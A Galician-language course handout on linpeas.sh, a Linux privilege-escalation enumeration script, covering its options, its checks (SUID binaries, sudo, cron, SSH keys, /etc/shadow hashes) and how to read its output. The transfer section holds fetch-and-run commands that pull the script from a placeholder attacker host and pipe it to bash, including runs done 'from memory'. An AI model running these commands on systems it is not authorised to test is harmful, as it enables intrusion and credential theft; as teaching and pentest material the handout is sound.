linpeas.sh - Linux Privilege Escalation Awesome Script
Prácticas Taller GNU/Linux
Ferramentas de auditoría - Módulo Bastionado de redes e sistemas
Descrición
Script automatizado para enumerar configuracións erróneas e vectores de escalada de privilexios en sistemas Linux. Parte da suite PEASS (Privilege Escalation Awesome Scripts Suite).
Descarga e uso
# Descargar desde GitHub
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
# Ou usar curl
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
# Dar permisos de execución
chmod +x linpeas.sh
# Executar
./linpeas.sh
Opcións principais
| Opción | Descrición |
|---|---|
-a |
Executar todas as comprobacións (inclúe as lentas) |
-s |
Superfast (só comprobacións rápidas) |
-q |
Non mostrar o banner |
-o <file> |
Gardar saída nun ficheiro |
-L <nivel> |
Nivel de detalle (1-3) |
-P |
Indicar que o usuario ten contrasinal |
-N |
Non usar cores |
Exemplos de uso
# Execución básica
./linpeas.sh
# Execución rápida
./linpeas.sh -s
# Gardar saída nun ficheiro
./linpeas.sh -a | tee linpeas_output.txt
# Sen cores (mellor para gardar en ficheiro)
./linpeas.sh -N > linpeas_report.txt
# Nivel de detalle alto
./linpeas.sh -L 3
# Execución completa con saída a ficheiro
./linpeas.sh -a -N -o linpeas_full.txt
Métodos de transferencia ao obxectivo
Desde máquina atacante
# 1. Servidor HTTP en atacante
python3 -m http.server 8000
# En obxectivo:
wget http://IP_ATACANTE:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# 2. Descargar e executar directamente (sen gardar)
curl http://IP_ATACANTE:8000/linpeas.sh | bash
# 3. Copiar mediante SCP (se hai credenciais SSH)
scp linpeas.sh usuario@IP_OBXECTIVO:/tmp/
# 4. Usando base64 (para copiar/pegar)
# En atacante:
base64 -w0 linpeas.sh
# En obxectivo:
echo "BASE64_STRING" | base64 -d > linpeas.sh
chmod +x linpeas.sh
Execución desde memoria (sen tocar disco)
# Descargar e executar directamente desde memoria
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
# Ou desde servidor propio
curl http://IP_ATACANTE:8000/linpeas.sh | bash
Áreas principais que analiza
1. Información do sistema
- Versión do kernel
- Sistema operativo
- Variables de entorno
- Usuarios e grupos
2. Permisos especiais
- Binarios SUID/SGID
- Capabilities
- Ficheiros escribibles en PATH
- Directorios escribibles
3. Software e servizos
- Versións de software vulnerable
- Servizos en execución
- Cronjobs
- Timers de systemd
4. Procesos
- Procesos en execución como root
- Binarios con permisos especiais
5. Rede
- Conexións activas
- Portos escoitando
- Interfaces de rede
6. Ficheiros interesantes
- Ficheiros de configuración
- Logs
- Backups
- Historiais de comandos
- Chaves SSH
7. Contrasinais
- Contrasinais en ficheiros
- Contrasinais en memoria
- Hashes en /etc/shadow
Interpretación de resultados
Códigos de cores (por defecto)
- 🔴 VERMELLO/FUCSIA: 95% de probabilidade de escalada
- 🟡 AMARELO: Moi interesante, verificar
- 🔵 AZUL: Interesante, revisar
- 🟢 VERDE: Información xeral
Buscar estas palabras clave na saída
# Buscar resultados críticos
cat linpeas_output.txt | grep -i "95%"
cat linpeas_output.txt | grep -i "password"
cat linpeas_output.txt | grep -i "writable"
cat linpeas_output.txt | grep -i "suid"
cat linpeas_output.txt | grep -i "capability"
Vectores comúns que detecta
1. Sudo mal configurado
2. Binarios SUID/SGID
3. Cronjobs escribibles
4. Capabilities perigosas
5. Kernel exploits
6. Ficheiros escribibles
Workflow recomendado
# 1. Executar linpeas e gardar saída
./linpeas.sh -a | tee linpeas_output.txt
# 2. Revisar saída buscando marcadores críticos (vermello/fucsia)
grep -i "95%" linpeas_output.txt
# 3. Verificar seccións específicas
# - Sudo permissions
# - SUID binaries
# - Capabilities
# - Writable files
# - Cron jobs
# 4. Explotar o vector identificado
# Usar GTFOBins ou HackTricks como referencia
# 5. Validar acceso root
id
whoami
Alternativas e complementos
# LinEnum (máis antigo)
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
# LSE (Linux Smart Enumeration)
wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
# Unix-privesc-check
wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/unix-privesc-check
Notas adicionais
- Linpeas é a ferramenta máis completa e actualizada para enumeración Linux
- Sempre executar desde
/tmpou/dev/shmse é posible - A saída pode ser moi longa, gardar sempre nun ficheiro
- Os marcadores de cores axudan a priorizar vectores de ataque
- Actualízase frecuentemente con novos checks e exploits
- Forma parte de PEASS-ng (tamén existe WinPEAS para Windows)
- Repository oficial: https://github.com/carlospolop/PEASS-ng
- Combinar con enumeración manual para mellores resultados
- Non require privilexios especiais para executarse
Máis información...